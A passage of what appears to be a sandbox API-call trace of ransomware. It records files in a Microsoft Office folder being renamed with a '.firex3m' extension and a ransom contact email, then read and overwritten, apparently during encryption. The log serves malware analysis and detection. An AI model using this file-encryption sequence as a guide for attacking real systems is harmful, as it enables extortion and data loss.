cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0029~1.FIR")) returned 0x6d4e40 [0135.785] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0135.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.785] GetProcessHeap () returned 0x630000 [0135.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c61) returned 0x6ee3ce0 [0135.785] GetProcessHeap () returned 0x630000 [0135.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c61) returned 0x6eed950 [0135.785] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.785] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0x9c40, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x40bff0c*=0x9c40, lpOverlapped=0x0) returned 1 [0140.471] GetProcessHeap () returned 0x630000 [0140.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0140.471] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.471] WriteFile (in: hFile=0x4dc, lpBuffer=0x6eed950*, nNumberOfBytesToWrite=0x9c40, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eed950*, lpNumberOfBytesWritten=0x40bff0c*=0x9c40, lpOverlapped=0x0) returned 1 [0140.472] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.472] WriteFile (in: hFile=0x4dc, lpBuffer=0x6ef758f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef758f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0140.472] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.472] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0140.472] CloseHandle (hObject=0x4dc) returned 1 [0140.472] GetProcessHeap () returned 0x630000 [0140.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eed950 | out: hHeap=0x630000) returned 1 [0140.472] GetProcessHeap () returned 0x630000 [0140.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0140.472] GetProcessHeap () returned 0x630000 [0140.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0140.473] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19ae2385, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9c82, dwReserved0=0xb247496, dwReserved1=0x6ee3cd8, cFileName="DD00297_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0029~1.FIR")) returned 0x6d5440 [0140.473] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0140.473] Sleep (dwMilliseconds=0x1) [0141.301] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms", len=0x55 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 1 [0141.301] GetProcessHeap () returned 0x630000 [0141.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c60) returned 0x7203db8 [0141.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0143.336] CloseHandle (hObject=0x414) returned 1 [0143.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49fedb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49fedb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a97702, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOAB8E~1.FIR")) returned 0x6d52c0 [0143.767] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0143.767] GetProcessHeap () returned 0x630000 [0143.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x6ec4fa8 [0143.767] GetProcessHeap () returned 0x630000 [0143.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x6ec7d38 [0143.767] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.767] ReadFile (in: hFile=0x414, lpBuffer=0x6ec4fa8, nNumberOfBytesToRead=0x2d60, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec4fa8*, lpNumberOfBytesRead=0x40bff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0143.961] GetProcessHeap () returned 0x630000 [0143.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0143.961] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x414, lpBuffer=0x6ec7d38*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec7d38*, lpNumberOfBytesWritten=0x40bff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0143.961] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x414, lpBuffer=0x6ecaa97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecaa97*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.961] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.962] CloseHandle (hObject=0x414) returned 1 [0143.962] GetProcessHeap () returned 0x630000 [0143.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec7d38 | out: hHeap=0x630000) returned 1 [0143.962] GetProcessHeap () returned 0x630000 [0143.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec4fa8 | out: hHeap=0x630000) returned 1 [0143.962] GetProcessHeap () returned 0x630000 [0143.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0143.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe49fedb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe49fedb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bc09d2f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d89, dwReserved0=0xb247496, dwReserved1=0x6ec4fa0, cFileName="MondoR_KMS_Automation-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOAB8E~1.FIR")) returned 0x6d5340 [0143.962] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0143.962] Sleep (dwMilliseconds=0x1) [0145.308] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK", len=0x47 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK") returned 1 [0145.308] GetProcessHeap () returned 0x630000 [0145.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26d8) returned 0x71f7c78 [0145.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0145.427] CloseHandle (hObject=0x690) returned 1 [0145.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~2.FIR")) returned 0x6d5540 [0146.868] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0146.869] GetProcessHeap () returned 0x630000 [0146.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0146.869] GetProcessHeap () returned 0x630000 [0146.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4fb8 [0146.869] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.869] ReadFile (in: hFile=0x690, lpBuffer=0x6a5318, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesRead=0x40bff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.875] GetProcessHeap () returned 0x630000 [0146.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.875] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.875] WriteFile (in: hFile=0x690, lpBuffer=0x6a4fb8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4fb8*, lpNumberOfBytesWritten=0x40bff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.875] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.875] WriteFile (in: hFile=0x690, lpBuffer=0x6a5017*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5017*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.875] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.875] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.876] CloseHandle (hObject=0x690) returned 1 [0146.876] GetProcessHeap () returned 0x630000 [0146.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4fb8 | out: hHeap=0x630000) returned 1 [0146.876] GetProcessHeap () returned 0x630000 [0146.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0146.876] GetProcessHeap () returned 0x630000 [0146.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d7e7670, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x40bfd20, dwReserved1=0x6a5318, cFileName="MSACCESS_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~2.FIR")) returned 0x6d5280 [0146.876] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.876] Sleep (dwMilliseconds=0x1) [0148.061] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", len=0x40 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS") returned 1 [0148.061] GetProcessHeap () returned 0x630000 [0148.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2694) returned 0x71f7c78 [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0149.600] CloseHandle (hObject=0x5ec) returned 1 [0149.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x472474e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRIMAR~1.FIR")) returned 0x6d5380 [0149.602] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0149.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0149.602] GetProcessHeap () returned 0x630000 [0149.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6f02550 [0149.602] GetProcessHeap () returned 0x630000 [0149.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x727d80 [0149.602] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.602] ReadFile (in: hFile=0x5ec, lpBuffer=0x6f02550, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f02550*, lpNumberOfBytesRead=0x40bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0149.886] GetProcessHeap () returned 0x630000 [0149.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0149.886] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.886] WriteFile (in: hFile=0x5ec, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x40bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0149.887] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.887] WriteFile (in: hFile=0x5ec, lpBuffer=0x728adf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x728adf*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.887] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.887] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.887] CloseHandle (hObject=0x5ec) returned 1 [0149.887] GetProcessHeap () returned 0x630000 [0149.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0149.887] GetProcessHeap () returned 0x630000 [0149.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f02550 | out: hHeap=0x630000) returned 1 [0149.887] GetProcessHeap () returned 0x630000 [0149.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0149.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1f4abe64, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xb247496, dwReserved1=0x6f02548, cFileName="PRIMARY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRIMAR~1.FIR")) returned 0x6d5400 [0149.888] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 